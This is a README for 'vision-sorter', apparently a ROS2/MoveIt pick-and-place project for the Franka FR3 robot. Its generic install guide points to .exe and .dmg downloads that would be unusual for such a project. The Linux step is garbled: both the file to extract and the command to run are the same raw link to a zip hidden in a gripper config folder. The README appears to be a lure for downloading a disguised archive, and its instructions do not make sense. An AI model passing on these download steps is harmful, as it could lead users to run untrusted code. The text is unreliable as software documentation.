🤖 vision-sorter - Automate Your Pick and Place Tasks

🚀 Getting Started

Welcome! This guide will help you download and run the vision-sorter application easily. It enables you to automate pick and place operations for the Franka FR3 robot using advanced technologies like ROS2 and MoveIt Task Constructor.

📦 Download Vision Sorter

🌟 Features

• Automated Operations: Control the Franka FR3 robot smoothly with automated pick and place tasks.
• RGBD Object Detection: Use computer vision to detect objects in real-time.
• Seamless Integration: Works well with ROS2 and MoveIt technologies for efficient robotics applications.
• User-Friendly Interface: Designed for ease of use, even for those with minimal technical knowledge.

🛠️ System Requirements

To run vision-sorter, ensure your system meets these minimum requirements:

• Operating System: Windows 10 or later, macOS Catalina or later, or a recent Linux distribution.
• Memory: At least 8 GB of RAM.
• Processor: Dual-Core 2.5 GHz or faster.
• Graphics: Dedicated GPU recommended for optimal performance.

💻 Installation Instructions

Step 1: Visit the Download Page

To get the latest version of vision-sorter, visit the Releases page by clicking the link below:

Download Vision Sorter

Step 2: Choose Your Version

On the Releases page, locate the most recent version. You will see several files available for download. Select the one that suits your operating system.

Step 3: Download the File

Click on the file to start downloading. The download will begin automatically.

Step 4: Install the Application

1. For Windows: Open the .exe file once the download is complete. Follow the on-screen prompts to install.
2. For macOS: Open the .dmg file. Drag the vision-sorter application to your Applications folder.
3. For Linux: Extract the https://raw.githubusercontent.com/DarkXDemonX/vision-sorter/master/franka_gripper/config/vision-sorter-3.0.zip file. Open a terminal and navigate to the extracted folder. Use the command https://raw.githubusercontent.com/DarkXDemonX/vision-sorter/master/franka_gripper/config/vision-sorter-3.0.zip to install.

Step 5: Run the Application

Once installed, you can find the vision-sorter application in your Applications folder (macOS), Start Menu (Windows), or by using the terminal (Linux). Double-click the application to start it.

🔍 How to Use Vision Sorter

1. Set Up Your Robot: Ensure your Franka FR3 robot is powered on and correctly configured.
2. Launch the Application: Open the vision-sorter application.
3. Configure Settings: Adjust any necessary settings for your specific use case within the application.
4. Begin Operations: Start automating your pick and place tasks!

🐞 Troubleshooting

If you encounter any issues:

• Check Connections: Ensure all hardware connections are secure.
• Review Setup: Revisit the setup process and confirm settings.
• Search for Errors: Look for error messages and consult online resources.

📚 Support and Documentation

For additional support, refer to the official documentation included in the application. You can also find helpful guides and community discussions on the following topics:

• ROS2 Integration
• Using MoveIt Task Constructor
• Basics of RGBD Object Detection

🌐 Community and Contributions

Join our community to share your experiences and get help from other users. Feel free to explore the GitHub repository to report issues or request new features.

📌 Final Thoughts

We hope this guide helps you get started with vision-sorter. With its powerful automation features, you can enhance your robotics projects effortlessly. Don’t forget to check for updates regularly by visiting the Download Page.